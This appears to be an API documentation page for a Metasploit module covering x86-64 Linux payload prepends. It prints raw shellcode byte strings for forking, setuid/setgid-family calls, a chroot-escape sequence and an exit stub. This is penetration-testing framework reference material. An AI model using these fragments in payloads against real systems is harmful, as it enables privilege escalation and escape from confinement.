Module: Msf::Payload::Linux::X64::Prepends
Overview
Instance Method Summary
collapse
Methods included from Prepends
#apply_prepends, #initialize, #register_prepend_options
Instance Method Details
permalink
#appends_map ⇒ Object
[View source] [
View on GitHub]
123
124
125
126
127
128
129
130
131
|
# File 'lib/msf/core/payload/linux/x64/prepends.rb', line 123
def appends_map
{
'AppendExit' => "\x48\x31\xff" + "\x6a\x3c" + "\x58" + "\x0f\x05" }
end
|
permalink
#prepends_map ⇒ Object
[View source] [
View on GitHub]
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
|
# File 'lib/msf/core/payload/linux/x64/prepends.rb', line 14
def prepends_map
{
'PrependFork' => "\x6a\x39" + "\x58" + "\x0f\x05" + "\x48\x85\xc0" + "\x74\x08" + "\x48\x31\xff" + "\x6a\x3c" + "\x58" + "\x0f\x05" + "\x04\x70" + "\x0f\x05" + "\x6a\x39" + "\x58" + "\x0f\x05" + "\x48\x85\xc0" + "\x75\xea",
'PrependSetresuid' => "\x48\x31\xff" + "\x48\x89\xfe" + "\x6a\x75" + "\x58" + "\x0f\x05",
'PrependSetreuid' => "\x48\x31\xff" + "\x48\x89\xfe" + "\x48\x89\xf2" + "\x6a\x71" + "\x58" + "\x0f\x05",
'PrependSetuid' => "\x48\x31\xff" + "\x6a\x69" + "\x58" + "\x0f\x05",
'PrependSetresgid' => "\x48\x31\xff" + "\x48\x89\xfe" + "\x6a\x77" + "\x58" + "\x0f\x05",
'PrependSetregid' => "\x48\x31\xff" + "\x48\x89\xfe" + "\x48\x89\xf2" + "\x6a\x72" + "\x58" + "\x0f\x05",
'PrependSetgid' => "\x48\x31\xff" + "\x6a\x6a" + "\x58" + "\x0f\x05",
'PrependChrootBreak' => "\x48\x31\xff" + "\x48\x89\xfe" + "\x48\x89\xf8" + "\xb0\x71" + "\x0f\x05" + "\x48\xbf#{Rex::Text.rand_text_alpha(8)}" + "\x56" + "\x57" + "\x48\x89\xe7" + "\x66\xbe\xed\x01" + "\x6a\x53" + "\x58" + "\x0f\x05" +
"\x48\x31\xd2" + "\xb2\xa1" + "\x48\x89\xd0" + "\x0f\x05" +
"\x66\xbe\x2e\x2e" + "\x56" + "\x48\x89\xe7" +
"\x6a\x45" + "\x5b" + "\x6a\x50" + "\x58" + "\x0f\x05" + "\xfe\xcb" + "\x75\xf7" +
"\x6a\x2e" + "\x48\x89\xe7" + "\x48\x89\xd0" + "\x0f\x05"
} end
|
permalink
#prepends_order ⇒ Object
[View source] [
View on GitHub]
6
7
8
|
# File 'lib/msf/core/payload/linux/x64/prepends.rb', line 6
def prepends_order
%w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid]
end
|